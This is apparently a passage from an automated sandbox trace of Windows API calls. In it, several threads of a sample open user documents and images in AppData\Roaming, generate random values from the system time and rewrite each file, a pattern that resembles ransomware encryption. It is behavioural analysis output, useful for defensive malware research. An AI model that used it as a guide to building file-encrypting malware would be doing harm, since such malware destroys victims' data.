(hFile=0x13e0, lpBuffer=0x979c968, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x4a8fdb0, lpOverlapped=0x0) Thread: id = 421 os_tid = 0xd7c [0048.870] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HBzhalriLYIfm K.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hbzhalrilyifm k.bmp")) returned 0x2020 [0048.870] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HBzhalriLYIfm K.bmp", dwFileAttributes=0x20) returned 1 [0064.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HBzhalriLYIfm K.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hbzhalrilyifm k.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13dc [0064.863] GetFileSizeEx (in: hFile=0x13dc, lpFileSize=0x98efe88 | out: lpFileSize=0x98efe88*=32098) returned 1 [0064.863] SetFilePointerEx (in: hFile=0x13dc, liDistanceToMove=0x7d5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.863] ReadFile (in: hFile=0x13dc, lpBuffer=0x98efe0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x98efe08, lpOverlapped=0x0 | out: lpBuffer=0x98efe0c*, lpNumberOfBytesRead=0x98efe08*=0x4, lpOverlapped=0x0) returned 1 [0064.868] SetFilePointerEx (in: hFile=0x13dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9688 [0064.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec95c0 [0064.868] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec95e8 [0064.868] NtQuerySystemTime (in: CurrentTime=0x98efde8 | out: CurrentTime=0x98efde8*=132174898288416000) returned 0x0 [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x7f68c5e4 [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x6b7cde6c [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x4993d46c [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x533c24ed [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x5e8b16c0 [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x60cca2d3 [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x1b6e6e92 [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x1e2938e0 [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x29f4bbc4 [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x6dd4b8ec [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x682ea39c [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x71385c1c [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x63ef7b1a [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x36864cd [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x12dfc97a [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x4f36f5d3 [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x4043d8bc [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x715b3e3 [0064.868] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x37c3f509 [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x52b57c22 [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x2b45eaed [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x5a1cabf [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0xfbac6d9 [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x3fa74adf [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0xa6bc7ba [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x81f2602 [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x566f9d01 [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x7777af59 [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x3379f1ce [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x1a0e15e5 [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x2ea3da5d [0064.869] RtlRandomEx (in: Seed=0x98efdf4 | out: Seed=0x98efdf4) returned 0x25c5670e [0064.881] ReadFile (in: hFile=0x13dc, lpBuffer=0x9777150, nNumberOfBytesToRead=0x7d62, lpNumberOfBytesRead=0x98efde4, lpOverlapped=0x0 | out: lpBuffer=0x9777150*, lpNumberOfBytesRead=0x98efde4*=0x7d62, lpOverlapped=0x0) returned 1 [0064.882] SetFilePointerEx (in: hFile=0x13dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.882] WriteFile (hFile=0x13dc, lpBuffer=0x9783958, nNumberOfBytesToWrite=0x7d62, lpNumberOfBytesWritten=0x98efde0, lpOverlapped=0x0) Thread: id = 422 os_tid = 0xd80 [0048.870] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45e0b8 [0048.870] wcscpy (in: _Dest=0x45e0b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" [0048.870] wcscat (in: _Dest=0x45e0b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\" [0048.870] wcscat (in: _Dest=0x45e0b8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*" [0048.871] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458220 [0048.871] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4409a0 [0048.871] wcscmp (_String1=".", _String2=".") returned 0 [0048.871] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.871] wcscmp (_String1="..", _String2=".") returned 1 [0048.871] wcscmp (_String1="..", _String2="..") returned 0 [0048.871] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0048.871] wcscmp (_String1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", _String2=".") returned 1 [0048.871] wcscmp (_String1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", _String2="..") returned 1 [0048.871] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x44e550 [0048.871] wcscpy (in: _Dest=0x44e550, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" [0048.871] wcscat (in: _Dest=0x44e550, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\" [0048.871] wcscat (in: _Dest=0x44e550, _Source="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0049.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44e550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0049.365] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x458220 | out: lpFindFileData=0x458220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0049.365] FindClose (in: hFindFile=0x4409a0 | out: hFindFile=0x4409a0) returned 1 [0049.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458220) returned 1 [0049.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e0b8) returned 1 [0049.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400e18) returned 1 Thread: id = 423 os_tid = 0xd84 [0048.872] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\iQ7blN7.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\iq7bln7.doc")) returned 0x2020 [0048.872] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\iQ7blN7.doc", dwFileAttributes=0x20) returned 1 [0064.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\iQ7blN7.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\iq7bln7.doc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13d8 [0064.842] GetFileSizeEx (in: hFile=0x13d8, lpFileSize=0x9dcfdb4 | out: lpFileSize=0x9dcfdb4*=67078) returned 1 [0064.842] SetFilePointerEx (in: hFile=0x13d8, liDistanceToMove=0x10602, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.842] ReadFile (in: hFile=0x13d8, lpBuffer=0x9dcfd38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9dcfd34, lpOverlapped=0x0 | out: lpBuffer=0x9dcfd38*, lpNumberOfBytesRead=0x9dcfd34*=0x4, lpOverlapped=0x0) returned 1 [0064.843] SetFilePointerEx (in: hFile=0x13d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c88 [0064.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec96b0 [0064.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9688 [0064.843] NtQuerySystemTime (in: CurrentTime=0x9dcfd14 | out: CurrentTime=0x9dcfd14*=132174898288260000) returned 0x0 [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x7b391916 [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x2cb87ebd [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x6f1cea80 [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0xa0985bc [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x6dbcd1b1 [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x70fe7045 [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x7ef2d305 [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x40d8cf9c [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x19806ba1 [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x46883c00 [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x4a224ff9 [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x57111362 [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x2061c6e [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0xb261d9d [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x383eee73 [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x4f6777be [0064.843] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x32facbc4 [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x2251ca52 [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x1d90ebdd [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x472b660a [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x8bfbacf [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x3fc09355 [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x477dd039 [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x4e922c77 [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x2f909394 [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x57a47743 [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x5c4e1b50 [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x6a5dabf4 [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x6542ba1a [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x28738de4 [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x23da4431 [0064.844] RtlRandomEx (in: Seed=0x9dcfd20 | out: Seed=0x9dcfd20) returned 0x495a6b23 [0064.859] SetFilePointerEx (in: hFile=0x13d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.859] ReadFile (in: hFile=0x13d8, lpBuffer=0x975e140, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x9dcfcf4, lpOverlapped=0x0 | out: lpBuffer=0x975e140*, lpNumberOfBytesRead=0x9dcfcf4*=0xc800, lpOverlapped=0x0) returned 1 [0064.860] SetFilePointerEx (in: hFile=0x13d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c798 [0064.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5df0 [0064.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c88 [0064.860] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c88) returned 1 [0064.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x976a948 [0064.862] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c88 [0064.862] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9688 [0064.862] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9688) returned 1 [0064.862] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5df0) returned 1 [0064.862] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c798) returned 1 [0064.862] WriteFile (hFile=0x13d8, lpBuffer=0x976a948, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x9dcfcf4, lpOverlapped=0x0) Thread: id = 424 os_tid = 0xd88 [0048.872] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\j_vsPeoEM 9EkmD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\j_vspeoem 9ekmd.xls")) returned 0x2020 [0048.872] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\j_vsPeoEM 9EkmD.xls", dwFileAttributes=0x20) returned 1 [0064.821] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\j_vsPeoEM 9EkmD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\j_vspeoem 9ekmd.xls"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13d4 [0064.822] GetFileSizeEx (in: hFile=0x13d4, lpFileSize=0x9fffe14 | out: lpFileSize=0x9fffe14*=4395) returned 1 [0064.822] SetFilePointerEx (in: hFile=0x13d4, liDistanceToMove=0x1127, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.822] ReadFile (in: hFile=0x13d4, lpBuffer=0x9fffd98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9fffd94, lpOverlapped=0x0 | out: lpBuffer=0x9fffd98*, lpNumberOfBytesRead=0x9fffd94*=0x4, lpOverlapped=0x0) returned 1 [0064.823] SetFilePointerEx (in: hFile=0x13d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.823] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c88 [0064.823] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9728 [0064.823] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec96b0 [0064.823] NtQuerySystemTime (in: CurrentTime=0x9fffd74 | out: CurrentTime=0x9fffd74*=132174898288104000) returned 0x0 [0064.823] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x2ca1711e [0064.823] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x1a9fbe55 [0064.823] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x34c612a1 [0064.823] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x7443c50b [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0xa39efdf [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x2ff782b4 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x44a18fee [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x270a3814 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x2ca3e0fe [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x2d60808d [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x42a8e959 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x2850c3c0 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x5d9d160 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x72389cba [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x4370be14 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x1e387ca [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x63cbc0d [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x54458cc7 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x387aa533 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0xaed406c [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x68eefdae [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x64c80dbf [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x5e934c13 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x614ee9e1 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x6c26f5a5 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x68e6b495 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x6284dd34 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x79b8df5a [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x2c0683e2 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x433239e0 [0064.824] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x1266c610 [0064.825] RtlRandomEx (in: Seed=0x9fffd80 | out: Seed=0x9fffd80) returned 0x21e87f4f [0064.841] ReadFile (in: hFile=0x13d4, lpBuffer=0x12eff830, nNumberOfBytesToRead=0x112b, lpNumberOfBytesRead=0x9fffd70, lpOverlapped=0x0 | out: lpBuffer=0x12eff830*, lpNumberOfBytesRead=0x9fffd70*=0x112b, lpOverlapped=0x0) returned 1 [0064.841] SetFilePointerEx (in: hFile=0x13d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.841] WriteFile (hFile=0x13d4, lpBuffer=0x9751938, nNumberOfBytesToWrite=0x112b, lpNumberOfBytesWritten=0x9fffd6c, lpOverlapped=0x0) Thread: id = 425 os_tid = 0xd8c [0048.873] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\kxFzATRTK24XTJ9P.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\kxfzatrtk24xtj9p.jpg")) returned 0x2020 [0048.873] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\kxFzATRTK24XTJ9P.jpg", dwFileAttributes=0x20) returned 1 [0064.800] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\kxFzATRTK24XTJ9P.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\kxfzatrtk24xtj9p.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13d0 [0064.800] GetFileSizeEx (in: hFile=0x13d0, lpFileSize=0xa1ffef4 | out: lpFileSize=0xa1ffef4*=98394) returned 1 [0064.800] SetFilePointerEx (in: hFile=0x13d0, liDistanceToMove=0x18056, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.800] ReadFile (in: hFile=0x13d0, lpBuffer=0xa1ffe78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa1ffe74, lpOverlapped=0x0 | out: lpBuffer=0xa1ffe78*, lpNumberOfBytesRead=0xa1ffe74*=0x4, lpOverlapped=0x0) returned 1 [0064.801] SetFilePointerEx (in: hFile=0x13d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.801] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9160 [0064.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a30 [0064.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c88 [0064.802] NtQuerySystemTime (in: CurrentTime=0xa1ffe54 | out: CurrentTime=0xa1ffe54*=132174898287792000) returned 0x0 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x2e8b5a47 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x4c3b61c [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x295f0e4b [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x3027fac5 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x231251ee [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x6ff2b833 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 